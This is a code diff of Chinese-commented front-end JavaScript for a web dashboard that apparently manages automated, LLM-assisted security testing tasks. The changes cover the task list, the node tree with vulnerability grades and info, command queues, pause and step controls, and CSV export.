tdItem.textContent = item; // 使用 textContent 避免 HTML 解析
tr.appendChild(tdItem);
// 第三列:复制和删除按钮
const tdAction = document.createElement("td");
// const btn_cp = document.createElement("button");
// btn_cp.className = "btn btn-primary btn-sm";
// btn_cp.textContent = "复制";
// btn_cp.style.marginRight = "2px"; // 设置间隔
// btn_cp.onclick = () => confirmCopyTodoInstr(idx - 1);
// tdAction.appendChild(btn_cp);
const btn = document.createElement("button");
btn.className = "btn btn-danger btn-sm";
btn.textContent = "删除";
btn.onclick = () => confirmDeleteTodoInstr(idx - 1);
tdAction.appendChild(btn);
tr.appendChild(tdAction);
tbody.appendChild(tr);
});
// 补空行
for (let i = pageData.length; i < pageSize; i++) {
const tr = document.createElement("tr");
tr.innerHTML = `
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
`;
tbody.appendChild(tr);
}
}
// 分页事件
document.getElementById("doneInstrPrev").addEventListener("click", (e) => {
e.preventDefault();
if (donePage > 1) {
donePage--;
renderDoneInstrTable(donePage);
}
});
document.getElementById("doneInstrNext").addEventListener("click", (e) => {
e.preventDefault();
const maxPage = Math.ceil(doneInstrs.length / pageSize);
if (donePage < maxPage) {
donePage++;
renderDoneInstrTable(donePage);
}
});
document.getElementById("todoInstrPrev").addEventListener("click", (e) => {
e.preventDefault();
if (todoPage > 1) {
todoPage--;
renderTodoInstrTable(todoPage);
}
});
document.getElementById("todoInstrNext").addEventListener("click", (e) => {
e.preventDefault();
const maxPage = Math.ceil(todoInstrs.length / pageSize);
if (todoPage < maxPage) {
todoPage++;
renderTodoInstrTable(todoPage);
}
});
// 导出数据
document.getElementById("btnExport").addEventListener("click", () => {
// 判断当前是哪个 Tab
const activeTab = document.querySelector("#instrTab button.nav-link.active");
if (activeTab.id === "doneInstrTab") {
exportCurrentPage(doneInstrs, ["序号", "执行指令", "执行时间", "执行结果"]);
} else {
exportCurrentPage(todoInstrs, ["序号", "待执行指令"]);
}
});
function exportCurrentPage(dataArr, headerArr) {
// Check if in secure context
if (!window.isSecureContext) {
console.error("Page is not in a secure context. Please load the page over HTTPS.");
alert("无法导出文件:请使用 HTTPS 访问页面。");
return;
}
// 调试:检查 dataArr 内容
//console.log('Exporting dataArr:', dataArr);
// 如果 dataArr 为空,返回提示
if (!dataArr || dataArr.length === 0) {
alert("没有数据可导出");
return;
}
// 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码
let csvContent = "\uFEFF" + headerArr.join(",") + "\n";
dataArr.forEach((item, i) => {
const rowIndex = i + 1;
if (headerArr.length === 4) {
// 已执行:序号,执行指令,执行时间,执行结果
csvContent +=
[
rowIndex,
escapeCsvField(item[0] || ""),
escapeCsvField(item[1] || ""),
escapeCsvField(item[2] || ""),
].join(",") + "\n";
} else {
// 待执行:序号,待执行指令
csvContent +=
[rowIndex, escapeCsvField(item.cmd || "")].join(",") + "\n";
}
});
const blob = new Blob([csvContent], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob);
const link = document.createElement("a");
link.href = url;
link.download = "指令导出.csv";
link.click();
URL.revokeObjectURL(url);
}
//------------------测试数据和漏洞数据tab-------------------
// 复用:根据返回的数据数组渲染表格 tbody,保证固定 10 行
function renderTableRows(tbody, rowsData) {
tbody.innerHTML = "";
// 遍历数据行,生成 <tr>
rowsData.forEach((row, index) => {
const tr = document.createElement("tr");
// 这里假设 row 为对象,包含各个字段;下标从1开始显示序号
for (const cellData of Object.values(row)) {
const td = document.createElement("td");
td.textContent = cellData;
tr.appendChild(td);
}
tbody.appendChild(tr);
});
// 补足空行
const rowCount = rowsData.length;
for (let i = rowCount; i < pageSize; i++) {
const tr = document.createElement("tr");
for (let j = 0; j < tbody.parentElement.querySelectorAll("th").length; j++) {
const td = document.createElement("td");
td.innerHTML = "&nbsp;";
tr.appendChild(td);
}
tbody.appendChild(tr);
}
}
//指令和漏洞数据的导出按钮点击事件
document.getElementById("instrExportBtn").addEventListener("click",()=>ExportInstructions());
document.getElementById("vulExportBtn").addEventListener("click",()=>ExportVuls());
//--------------------------测试指令-------------------------------
let allInstrs = [];
let currentInstrPage = 1;
function renderInstrPage(page) {
currentInstrPage = page;
const start = (page - 1) * pageSize;
const end = start + pageSize;
const pageData = allInstrs.slice(start, end);
const tbody = document.querySelector("#instrTable tbody");
renderTableRows(tbody, pageData);
// 更新分页按钮
document.getElementById("instrPrev").dataset.page = page > 1 ? page - 1 : 1;
document.getElementById("instrNext").dataset.page = (end < allInstrs.length) ? page + 1 : page;
}
// 查询测试指令
async function searchInstructions(page = 1) {
if(cur_task_id === 0){
return;
}
const nodeName = document.getElementById("instrNodeName").value.trim();
try {
const res = await fetch("/api/task/getinstr", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
cur_task_id,
nodeName
}),
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
allInstrs = data.instrs;
renderInstrPage(1); //显示第一页数据
} catch (error) {
console.error("获取测试指令失败:", error);
}
}
//导出测试指令数据
async function ExportInstructions(){
// Check if in secure context
if (!window.isSecureContext) {
console.error("Page is not in a secure context. Please load the page over HTTPS.");
alert("无法导出文件:请使用 HTTPS 访问页面。");
return;
}
// 如果 dataArr 为空,返回提示
if (!allInstrs || allInstrs.length === 0) {
alert("没有数据可导出");
return;
}
// 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码
let csv = "\uFEFF" + "序号,节点路径,执行指令,执行结果\n"; // 添加 BOM 防乱码
allInstrs.forEach((item, i) => {
csv +=
[
escapeCsvField(item[0] || ""),
escapeCsvField(item[1] || ""),
escapeCsvField(item[3] || ""),
escapeCsvField(item[4] || ""),
].join(",") + "\n";
});
const blob = new Blob([csv], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob);
const link = document.createElement("a");
link.href = url;
link.download = "执行指令.csv";
link.click();
URL.revokeObjectURL(url);
}
// 绑定测试指令查询按钮事件
document.getElementById("instrSearchBtn").addEventListener("click", () => {
searchInstructions();
});
// 绑定测试指令分页点击事件
document.getElementById("instrPrev").addEventListener("click", (e) => {
const page = parseInt(e.target.dataset.page, 10);
renderInstrPage(page);
});
document.getElementById("instrNext").addEventListener("click", (e) => {
const page = parseInt(e.target.dataset.page, 10);
renderInstrPage(page);;
});
//------------------漏洞数据---------------------------------
let allVuls = [];
let currentVulPage = 1;
function renderVulPage(page) {
currentVulPage = page;
const start = (page - 1) * pageSize;
const end = start + pageSize;
const pageData = allVuls.slice(start, end);
const tbody = document.querySelector("#vulTable tbody");
renderTableRows(tbody, pageData);
// 更新分页按钮
document.getElementById("vulPrev").dataset.page = page > 1 ? page - 1 : 1;
document.getElementById("vulNext").dataset.page = (end < allVuls.length) ? page + 1 : page;
}
// 查询漏洞数据
async function searchVulnerabilities(page = 1) {
if(cur_task_id === 0){return;}
const nodeName = document.getElementById("vulNodeName").value.trim();
const vulType = document.getElementById("vulType").value.trim();
const vulLevel = document.getElementById("vulLevel").value;
try {
const res = await fetch("/api/task/getvul", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
cur_task_id,
nodeName,
vulType,
vulLevel
}),
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
allVuls = data.vuls;
renderVulPage(1)
} catch (error) {
console.error("获取漏洞数据失败:", error);
}
}
//导出漏洞数据
async function ExportVuls(){
// Check if in secure context
if (!window.isSecureContext) {
console.error("Page is not in a secure context. Please load the page over HTTPS.");
alert("无法导出文件:请使用 HTTPS 访问页面。");
return;
}
// 如果 dataArr 为空,返回提示
if (!allVuls || allVuls.length === 0) {
alert("没有数据可导出");
return;
}
// 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码
let csv = "\uFEFF" + "序号,节点路径,漏洞类型,漏洞级别,漏洞说明\n"; // 添加 BOM 防乱码
allVuls.forEach((item, i) => {
csv +=
[
escapeCsvField(item[0] || ""),
escapeCsvField(item[1] || ""),
escapeCsvField(item[2] || ""),
escapeCsvField(item[3] || ""),
escapeCsvField(item[4] || ""),
].join(",") + "\n";
});
const blob = new Blob([csv], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob);
const link = document.createElement("a");
link.href = url;
link.download = "漏洞数据.csv";
link.click();
URL.revokeObjectURL(url);
}
// 绑定漏洞数据查询按钮事件
document.getElementById("vulSearchBtn").addEventListener("click", () => {
searchVulnerabilities();
});
// 绑定漏洞数据分页点击事件
document.getElementById("vulPrev").addEventListener("click", (e) => {
const page = parseInt(e.target.dataset.page, 10);
renderVulPage(page);
});
document.getElementById("vulNext").addEventListener("click", (e) => {
const page = parseInt(e.target.dataset.page, 10);
renderVulPage(page);
});

7
web/main/static/resources/scripts/my_web_socket.js

@ -61,10 +61,15 @@ function initWebSocket() {
// 清空选中状态 // 清空选中状态
selectedNodeData = null; selectedNodeData = null;
//刷新界面内容 //刷新界面内容
update_select_node_data_show("-","-","-","-","-",false) update_select_node_data_show("-","-","-","-","-","-",false)
// 重新加载节点树数据 // 重新加载节点树数据
loadNodeTree(cur_task_id); loadNodeTree(cur_task_id);
} }
else if(idata_type === 3){
if(cur_task_id === 0){return;}
alert(bodyData)
//刷新界面-待补充
}
else { else {
console.error("未知的数据类型"); console.error("未知的数据类型");
} }

344
web/main/static/resources/scripts/node_tree.js

@ -1,19 +1,50 @@
// 全局变量,用于保存当前选中的节点数据 // 全局变量,用于保存当前选中的节点数据
let selectedNodeData = null; let selectedNodeData = null;
/** // 动态加载节点树数据
* 根据节点数据递归生成树形结构返回 <li> 元素 async function loadNodeTree(task_id) {
* 假设节点数据格式 // 清空选中状态
* { selectedNodeData = null;
* "node_name":node.name, //刷新界面内容
* "node_path":node.path, update_select_node_data_show("-","-","-","-","-","-",false)
* "node_status":node.status,
* "node_bwork":node.bwork, try {
* "node_vultype":node.vul_type, const res = await fetch("/api/task/gettree", {
* "node_vulgrade":node.vul_grade, method: "POST",
* children: [ { ... }, { ... } ] headers: { "Content-Type": "application/json" },
* } body: JSON.stringify({ task_id }), //task_id:task_id
*/ });
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
const treeData = data.tree;
if (!treeData) {
document.getElementById("treeContent").innerHTML =
"<p>无节点数据</p>";
return;
}
// 创建一个 <ul> 作为树的根容器
const ul = document.createElement("ul");
ul.className = "tree-root-ul";
ul.appendChild(generateTreeHTML(treeData)); //递归创建节点树
// 替换节点树容器的内容
const container = document.getElementById("treeContent");
container.innerHTML = "";
container.appendChild(ul);
// 绑定节点点击事件
bindTreeNodeEvents();
} catch (error) {
console.error("加载节点树失败:", error);
document.getElementById("treeContent").innerHTML = "<p>加载节点树失败</p>";
}
}
function generateTreeHTML(nodeData) { function generateTreeHTML(nodeData) {
const li = document.createElement("li"); const li = document.createElement("li");
const nodeSpan = document.createElement("span"); const nodeSpan = document.createElement("span");
@ -25,7 +56,9 @@
nodeSpan.setAttribute("data-node_bwork", nodeData.node_bwork); nodeSpan.setAttribute("data-node_bwork", nodeData.node_bwork);
nodeSpan.setAttribute("data-node_vultype", nodeData.node_vultype); nodeSpan.setAttribute("data-node_vultype", nodeData.node_vultype);
nodeSpan.setAttribute("data-node_vulgrade", nodeData.node_vulgrade || ""); nodeSpan.setAttribute("data-node_vulgrade", nodeData.node_vulgrade || "");
nodeSpan.setAttribute("data-node_vulinfo",nodeData.node_vulinfo);
nodeSpan.setAttribute("data-node_workstatus",nodeData.node_workstatus); nodeSpan.setAttribute("data-node_workstatus",nodeData.node_workstatus);
//显示界面
if(nodeData.node_workstatus ===0){ if(nodeData.node_workstatus ===0){
nodeSpan.classList.add("no-work"); nodeSpan.classList.add("no-work");
}else { }else {
@ -33,7 +66,6 @@
} }
// 根据漏洞级别添加样式 // 根据漏洞级别添加样式
if (nodeData.node_vulgrade) { if (nodeData.node_vulgrade) {
nodeSpan.classList.remove("no-work");
if (nodeData.node_vulgrade === "低危") { if (nodeData.node_vulgrade === "低危") {
nodeSpan.classList.add("vul-low"); nodeSpan.classList.add("vul-low");
} else if (nodeData.node_vulgrade === "中危") { } else if (nodeData.node_vulgrade === "中危") {
@ -42,6 +74,11 @@
nodeSpan.classList.add("vul-high"); nodeSpan.classList.add("vul-high");
} }
} }
//暂停状态样式
nodeSpan.classList.toggle('status-paused', nodeData.node_bwork === false);
nodeSpan.classList.toggle('status-running', nodeData.node_bwork === true);
// 创建容器用于存放切换图标与文本 // 创建容器用于存放切换图标与文本
const container = document.createElement("div"); const container = document.createElement("div");
container.className = "node-container"; container.className = "node-container";
@ -63,7 +100,7 @@
if (nodeData.children && nodeData.children.length > 0) { if (nodeData.children && nodeData.children.length > 0) {
const ul = document.createElement("ul"); const ul = document.createElement("ul");
nodeData.children.forEach((child) => { nodeData.children.forEach((child) => {
ul.appendChild(generateTreeHTML(child)); ul.appendChild(generateTreeHTML(child)); //递归调用
}); });
li.appendChild(ul); li.appendChild(ul);
} }
@ -77,8 +114,7 @@
// 阻止事件冒泡,避免点击时展开折叠影响 // 阻止事件冒泡,避免点击时展开折叠影响
event.stopPropagation(); event.stopPropagation();
// 清除之前选中的节点样式 // 清除之前选中的节点样式
document document.querySelectorAll(".tree-node.selected")
.querySelectorAll(".tree-node.selected")
.forEach((node) => node.classList.remove("selected")); .forEach((node) => node.classList.remove("selected"));
// 当前节点标记为选中 // 当前节点标记为选中
el.classList.add("selected"); el.classList.add("selected");
@ -89,9 +125,9 @@
const nodebwork = el.getAttribute("data-node_bwork"); const nodebwork = el.getAttribute("data-node_bwork");
const vulType = el.getAttribute("data-node_vultype"); const vulType = el.getAttribute("data-node_vultype");
const vulLevel = el.getAttribute("data-node_vulgrade"); const vulLevel = el.getAttribute("data-node_vulgrade");
const vulInfo = el.getAttribute("data-node_vulinfo");
const workstatus = el.getAttribute("data-node_workstatus"); const workstatus = el.getAttribute("data-node_workstatus");
//selectedNodeData = { nodeName, status, vulType, vulLevel,nodepath,nodebwork }; //缓存一个选中节点的数据
// 示例中默认填充
selectedNodeData = { selectedNodeData = {
node_name: nodeName, node_name: nodeName,
node_path: nodepath, node_path: nodepath,
@ -99,11 +135,13 @@
node_bwork: nodebwork, node_bwork: nodebwork,
vul_type: vulType, vul_type: vulType,
vul_grade: vulLevel || "-", vul_grade: vulLevel || "-",
vul_info:vulInfo,
workstatus: workstatus workstatus: workstatus
}; };
//刷新界面内容 //刷新节点界面内容
update_select_node_data_show(nodeName,status,vulType,vulLevel,workstatus,nodebwork) update_select_node_data_show(nodeName,status,vulType,vulLevel,vulInfo,workstatus,nodebwork)
}); });
// 双击事件:展开/收缩子节点区域 // 双击事件:展开/收缩子节点区域
el.addEventListener("dblclick", (event) => { el.addEventListener("dblclick", (event) => {
event.stopPropagation(); event.stopPropagation();
@ -125,98 +163,23 @@
}); });
} }
// 动态加载节点树数据
async function loadNodeTree(task_id) {
// 清空选中状态
selectedNodeData = null;
//刷新界面内容
update_select_node_data_show("-","-","-","-","-",false)
try {
const res = await fetch("/api/task/gettree", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ task_id }), //task_id:task_id
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
const treeData = data.tree;
if (!treeData) {
document.getElementById("treeContent").innerHTML =
"<p>无节点数据</p>";
return;
}
// 创建一个 <ul> 作为树的根容器
const ul = document.createElement("ul");
ul.className = "tree-root-ul";
ul.appendChild(generateTreeHTML(treeData));
// 替换节点树容器的内容
const container = document.getElementById("treeContent");
container.innerHTML = "";
container.appendChild(ul);
// 绑定节点点击事件
bindTreeNodeEvents();
} catch (error) {
console.error("加载节点树失败:", error);
document.getElementById("treeContent").innerHTML = "<p>加载节点树失败</p>";
}
}
function getWorkStatus_Str(workstatus){
strworkstatus = ""
switch (workstatus){
case 0:
strworkstatus = "无待执行任务";
break;
case 1:
strworkstatus = "待执行指令中";
break;
case 2:
strworkstatus = "指令执行中";
break;
case 3:
strworkstatus = "待提交llm中";
break;
case 4:
strworkstatus = "提交llm中";
break;
default:
strworkstatus = "-"
}
return strworkstatus
}
//根据web端过来的数据,更新节点的工作状态
function updateTreeNode(node_path, node_workstatus) {
// 根据 node_path 查找对应节点(假设每个 .tree-node 上设置了 data-node_path 属性)
const nodeEl = document.querySelector(`.tree-node[data-node_path="${node_path}"]`);
if (nodeEl) {
// 更新 DOM 属性(属性值均为字符串)
nodeEl.setAttribute("data-node_workstatus", node_workstatus);
//判断是否需要更新界面
if(selectedNodeData){
if(node_path === selectedNodeData.node_path){ //只有是当前选中节点才更新数据
selectedNodeData.workstatus = node_workstatus;
strnew = getWorkStatus_Str(node_workstatus);
document.getElementById("node_workstatus").textContent = strnew;
}
}
} else {
console.warn(`未找到节点 ${node_path}`);
}
}
//刷新节点的数据显示 //刷新节点的数据显示
function update_select_node_data_show(nodeName,testStatus,vulType,vulLevel,workStatus,nodebwork){ function update_select_node_data_show(nodeName,testStatus,vulType,vulLevel,vulInfo,workStatus,nodebwork){
document.getElementById("nodeName").textContent = nodeName; document.getElementById("nodeName").textContent = nodeName;
document.getElementById("testStatus").textContent = testStatus; document.getElementById("testStatus").textContent = testStatus;
document.getElementById("node_vulType").textContent = vulType; document.getElementById("node_vulType").textContent = vulType;
document.getElementById("node_vulLevel").textContent = vulLevel; document.getElementById("node_vulLevel").textContent = vulLevel;
document.getElementById("node_vulInfo").textContent = vulInfo;
str_workStatus = getWorkStatus_Str(Number(workStatus)); str_workStatus = getWorkStatus_Str(Number(workStatus));
document.getElementById("node_workstatus").textContent = str_workStatus; work_status_el = document.getElementById("node_workstatus")
work_status_el.textContent = str_workStatus;
work_status_el.classList.toggle('cmd-none',str_workStatus==="无待执行任务");
work_status_el.classList.toggle('cmd-pending',str_workStatus==="待执行指令中");
work_status_el.classList.toggle('cmd-running',str_workStatus==="指令执行中");
work_status_el.classList.toggle('cmd-waiting-llm',str_workStatus==="待提交llm中");
work_status_el.classList.toggle('cmd-submitting-llm',str_workStatus==="提交llm中");
if(nodebwork==="true"){ if(nodebwork==="true"){
document.getElementById("node_bwork").textContent = "执行中"; document.getElementById("node_bwork").textContent = "执行中";
document.getElementById("btnToggleStatus").textContent = "暂停"; document.getElementById("btnToggleStatus").textContent = "暂停";
@ -273,6 +236,58 @@
} }
} }
function getWorkStatus_Str(workstatus){
strworkstatus = ""
switch (workstatus){
case 0:
strworkstatus = "无待执行任务";
break;
case 1:
strworkstatus = "待执行指令中";
break;
case 2:
strworkstatus = "指令执行中";
break;
case 3:
strworkstatus = "待提交llm中";
break;
case 4:
strworkstatus = "提交llm中";
break;
default:
strworkstatus = "-"
}
return strworkstatus
}
//根据web端过来的数据,更新节点的工作状态
function updateTreeNode(node_path, node_workstatus) {
// 根据 node_path 查找对应节点(假设每个 .tree-node 上设置了 data-node_path 属性)
const nodeEl = document.querySelector(`.tree-node[data-node_path="${node_path}"]`);
if (nodeEl) {
// 更新 DOM 属性(属性值均为字符串)
nodeEl.setAttribute("data-node_workstatus", node_workstatus);
//判断是否需要更新界面
if(selectedNodeData){
if(node_path === selectedNodeData.node_path){ //只有是当前选中节点才更新数据
selectedNodeData.workstatus = node_workstatus;
strnew = getWorkStatus_Str(node_workstatus);
work_status_el = document.getElementById("node_workstatus")
work_status_el.textContent = strnew;
work_status_el.classList.toggle('cmd-none',str_workStatus==="无待执行任务");
work_status_el.classList.toggle('cmd-pending',str_workStatus==="待执行指令中");
work_status_el.classList.toggle('cmd-running',str_workStatus==="指令执行中");
work_status_el.classList.toggle('cmd-waiting-llm',str_workStatus==="待提交llm中");
work_status_el.classList.toggle('cmd-submitting-llm',str_workStatus==="提交llm中");
}
}
} else {
console.warn(`未找到节点 ${node_path}`);
}
}
// 刷新按钮事件绑定 // 刷新按钮事件绑定
document.getElementById("btnRefresh").addEventListener("click", () => { document.getElementById("btnRefresh").addEventListener("click", () => {
// 重新加载节点树数据 // 重新加载节点树数据
@ -312,25 +327,32 @@
const selectedEl = document.querySelector(".tree-node.selected"); const selectedEl = document.querySelector(".tree-node.selected");
if (selectedEl) { if (selectedEl) {
selectedEl.setAttribute("data-node_bwork", newbwork); selectedEl.setAttribute("data-node_bwork", newbwork);
//selectedEl.dataset.node_bwok = newbwork;
selectedNodeData.node_bwork = newbwork; selectedNodeData.node_bwork = newbwork;
}
//刷新界面 //刷新界面
const btn_NodeStep = document.getElementById("btnNodeStep"); selectedEl.classList.toggle("status-running", Boolean(newbwork));
selectedEl.classList.toggle("status-paused", !newbwork);
}
const elNodeBwork = document.getElementById("node_bwork");
const btnToggle = document.getElementById("btnToggleStatus");
const btnStep = document.getElementById("btnNodeStep");
if(newbwork){ if(newbwork){
document.getElementById("node_bwork").textContent ="执行中"; elNodeBwork.textContent ="执行中";
document.getElementById("btnToggleStatus").textContent = "暂停"; btnToggle.textContent = "暂停";
if(cur_task.taskStatus === 1 && cur_task.workType === 0){ if(cur_task.taskStatus === 1 && cur_task.workType === 0){
btn_NodeStep.disabled = false; btnStep.disabled = false;
btn_NodeStep.classList.remove("disabled-btn"); btnStep.classList.remove("disabled-btn");
} }
}else { }else {
document.getElementById("node_bwork").textContent = "暂停中"; elNodeBwork.textContent = "暂停中";
document.getElementById("btnToggleStatus").textContent = "继续"; btnToggle.textContent = "继续";
btn_NodeStep.disabled = true; btnStep.disabled = true;
btn_NodeStep.classList.add("disabled-btn"); btnStep.classList.add("disabled-btn");
} }
}catch (error) { }catch (error) {
alert("修改节点的bwork失败:", error); alert("修改节点的bwork失败:"+error);
} }
} }
@ -357,17 +379,15 @@
alert("该节点任务已提交,请稍候查看执行结果!") alert("该节点任务已提交,请稍候查看执行结果!")
} }
else{ else{
error = data.erroe; error = data.error;
alert("该节点单步失败!",error) alert("该节点单步失败!"+error)
} }
}catch (error) { }catch (error) {
alert("该节点单步失败,请联系管理员!", error); alert("该节点单步失败,请联系管理员!"+error);
} }
} }
//----------------------查看指令modal---------------------------- //----------------------查看指令modal----------------------------
let doneInstrs = []; // 已执行指令的所有数据 let doneInstrs = []; // 已执行指令的所有数据
let todoInstrs = []; // 待执行指令的所有数据 let todoInstrs = []; // 待执行指令的所有数据
@ -624,7 +644,7 @@ function fallbackCopyTextToClipboard(text) {
} }
} }
else{ else{
alert("指令删除失败",data.error) alert("指令删除失败"+data.error)
} }
} catch (error) { } catch (error) {
console.error("删除指令异常:", error); console.error("删除指令异常:", error);
@ -669,41 +689,54 @@ function fallbackCopyTextToClipboard(text) {
// 判断当前是哪个 Tab // 判断当前是哪个 Tab
const activeTab = document.querySelector("#instrTab button.nav-link.active"); const activeTab = document.querySelector("#instrTab button.nav-link.active");
if (activeTab.id === "doneInstrTab") { if (activeTab.id === "doneInstrTab") {
exportCurrentPage(doneInstrs, donePage, ["序号", "执行指令", "执行时间", "执行结果"]); exportCurrentPage(doneInstrs, ["序号", "执行指令", "执行时间", "执行结果"]);
} else { } else {
exportCurrentPage(todoInstrs, todoPage, ["序号", "待执行指令"]); exportCurrentPage(todoInstrs, ["序号", "待执行指令"]);
} }
}); });
function exportCurrentPage(dataArr, page, headerArr) { // 处理 CSV 字段,确保特殊字符正确转义
const startIndex = (page - 1) * pageSize; function escapeCsvField(value) {
const endIndex = startIndex + pageSize; if (value == null) return "";
const pageData = dataArr.slice(startIndex, endIndex); const str = String(value).replace(/"/g, '""').replace(/\n/g, " ");
return `"${str}"`; // 用引号包裹字段
}
function exportCurrentPage(dataArr, headerArr) {
// Check if in secure context
if (!window.isSecureContext) {
console.error("Page is not in a secure context. Please load the page over HTTPS.");
alert("无法导出文件:请使用 HTTPS 访问页面。");
return;
}
// 调试:检查 dataArr 内容
//console.log('Exporting dataArr:', dataArr);
// 如果 dataArr 为空,返回提示
if (!dataArr || dataArr.length === 0) {
alert("没有数据可导出");
return;
}
// 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码 // 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码
let csvContent = "\uFEFF" + headerArr.join(",") + "\n"; let csvContent = "\uFEFF" + headerArr.join(",") + "\n";
pageData.forEach((item, i) => { dataArr.forEach((item, i) => {
const rowIndex = startIndex + i + 1; const rowIndex = i + 1;
if (headerArr.length === 4) { if (headerArr.length === 4) {
// 已执行:序号,执行指令,执行时间,执行结果 // 已执行:序号,执行指令,执行时间,执行结果
csvContent += rowIndex + "," + csvContent +=
(item.command || "") + "," + [
(item.execTime || "") + "," + rowIndex,
(item.result || "") + "\n"; escapeCsvField(item[0] || ""), // 调整为实际字段名
escapeCsvField(item[1] || ""),
escapeCsvField(item[2] || ""),
].join(",") + "\n";
} else { } else {
// 待执行:序号,待执行指令 // 待执行:序号,待执行指令
csvContent += rowIndex + "," + (item.command || "") + "\n"; csvContent +=
[rowIndex, escapeCsvField(item.cmd || "")].join(",") + "\n";
} }
}); });
// 如果不足 pageSize 行,补足空行(根据列数进行适当补全)
for (let i = pageData.length; i < pageSize; i++) {
// 根据 headerArr.length 来设置空行的格式
if (headerArr.length === 4) {
csvContent += ",,,\n";
} else {
csvContent += ",\n";
}
}
const blob = new Blob([csvContent], { type: "text/csv;charset=utf-8;" }); const blob = new Blob([csvContent], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob); const url = URL.createObjectURL(blob);
@ -817,21 +850,14 @@ document.getElementById("submittedNext").addEventListener("click", function(e){
}); });
// 导出功能:导出当前页已提交数据到 CSV // 导出功能:导出当前页已提交数据到 CSV
document.getElementById("btnExportSubmitted").addEventListener("click", function(){ // document.getElementById("btnExportSubmitted").addEventListener("click", function(){
exportSubmittedCurrentPage(); // exportSubmittedCurrentPage();
}); // });
function exportSubmittedCurrentPage(){ function exportSubmittedCurrentPage(){
const start = (submittedPage - 1) * pageSize;
const end = start + pageSize;
const pageData = submittedMsgs.slice(start, end);
let csv = "\uFEFF" + "序号,角色,内容\n"; // 添加 BOM 防乱码 let csv = "\uFEFF" + "序号,角色,内容\n"; // 添加 BOM 防乱码
pageData.forEach((item, i) => { submittedMsgs.forEach((item, i) => {
csv += `${start + i + 1},${item.role},${item.content}\n`; csv += `${i + 1},${escapeCsvField(item.role || "")},${escapeCsvField(item.content || "")}\n`;
}); });
// 补空行
for(let i = pageData.length; i < pageSize; i++){
csv += ",,\n";
}
const blob = new Blob([csv], { type: "text/csv;charset=utf-8;" }); const blob = new Blob([csv], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob); const url = URL.createObjectURL(blob);
const a = document.createElement("a"); const a = document.createElement("a");
@ -906,7 +932,7 @@ async function putnewmsg(llmtype,content){
return true; return true;
} }
else{ else{
alert("修改失败:",data.error) alert("修改失败:"+data.error)
return false; return false;
} }
} catch (error) { } catch (error) {

122
web/main/static/resources/scripts/task_manager.js

@ -31,7 +31,7 @@ document.addEventListener("DOMContentLoaded", async () => {
set_radio_selection('testMode', 'auto'); set_radio_selection('testMode', 'auto');
setSetpBtnStatus(); setSetpBtnStatus();
//节点树界面初始化 //节点树界面初始化
update_select_node_data_show("-","-","-","-","-",false) update_select_node_data_show("-","-","-","-","-","-",false)
//单选按钮点击事件 ------ 是不是更规范的编程方式,应该把控件事件的添加都放页面加载完成后处理 //单选按钮点击事件 ------ 是不是更规范的编程方式,应该把控件事件的添加都放页面加载完成后处理
const autoRadio = document.getElementById("autoMode"); const autoRadio = document.getElementById("autoMode");
const manualRadio = document.getElementById("manualMode"); const manualRadio = document.getElementById("manualMode");
@ -77,6 +77,13 @@ async function getTasklist(){
} }
const data = await res.json(); const data = await res.json();
task_list = data.tasks task_list = data.tasks
updateTasklistShow()
} catch (error) {
console.error("加载任务列表出错:", error);
document.getElementById("taskList").innerHTML = "<p>加载任务列表失败!</p>";
}
}
function updateTasklistShow(){
const taskList = document.getElementById("taskList"); const taskList = document.getElementById("taskList");
taskList.innerHTML = ""; // 清空“加载中”提示 taskList.innerHTML = ""; // 清空“加载中”提示
// 遍历任务数组,生成任务项 // 遍历任务数组,生成任务项
@ -89,6 +96,7 @@ async function getTasklist(){
const targetDiv = document.createElement("div"); const targetDiv = document.createElement("div");
targetDiv.className = "task-target"; targetDiv.className = "task-target";
targetDiv.textContent = task.testTarget; targetDiv.textContent = task.testTarget;
taskItem.title = task.testTarget; // 加上鼠标悬浮提示
taskItem.appendChild(targetDiv); taskItem.appendChild(targetDiv);
// 第二行:测试状态,带缩进 // 第二行:测试状态,带缩进
@ -96,6 +104,9 @@ async function getTasklist(){
statusDiv.className = "task-status"; statusDiv.className = "task-status";
let safeR = getstrsafeR(task.safeRank); let safeR = getstrsafeR(task.safeRank);
let taskS = getstrTaskS(task.taskStatus); let taskS = getstrTaskS(task.taskStatus);
if (taskS === "执行中") {
taskItem.classList.add("running");
}
statusDiv.textContent = `${taskS}-${safeR}`; statusDiv.textContent = `${taskS}-${safeR}`;
taskItem.appendChild(statusDiv); taskItem.appendChild(statusDiv);
@ -113,10 +124,6 @@ async function getTasklist(){
}); });
taskList.appendChild(taskItem); taskList.appendChild(taskItem);
}); });
} catch (error) {
console.error("加载任务列表出错:", error);
document.getElementById("taskList").innerHTML = "<p>加载任务列表失败!</p>";
}
} }
//选中tasklist--更新界面数据 //选中tasklist--更新界面数据
@ -126,7 +133,7 @@ function selected_task_item(){
//按钮状态更新 //按钮状态更新
actionButton = document.getElementById("actionButton"); actionButton = document.getElementById("actionButton");
if(cur_task.taskStatus === 0){ if(cur_task.taskStatus === 0){
actionButton.textContent = "继续"; actionButton.textContent = "启动";
}else if(cur_task.taskStatus === 1){ }else if(cur_task.taskStatus === 1){
actionButton.textContent = "暂停"; actionButton.textContent = "暂停";
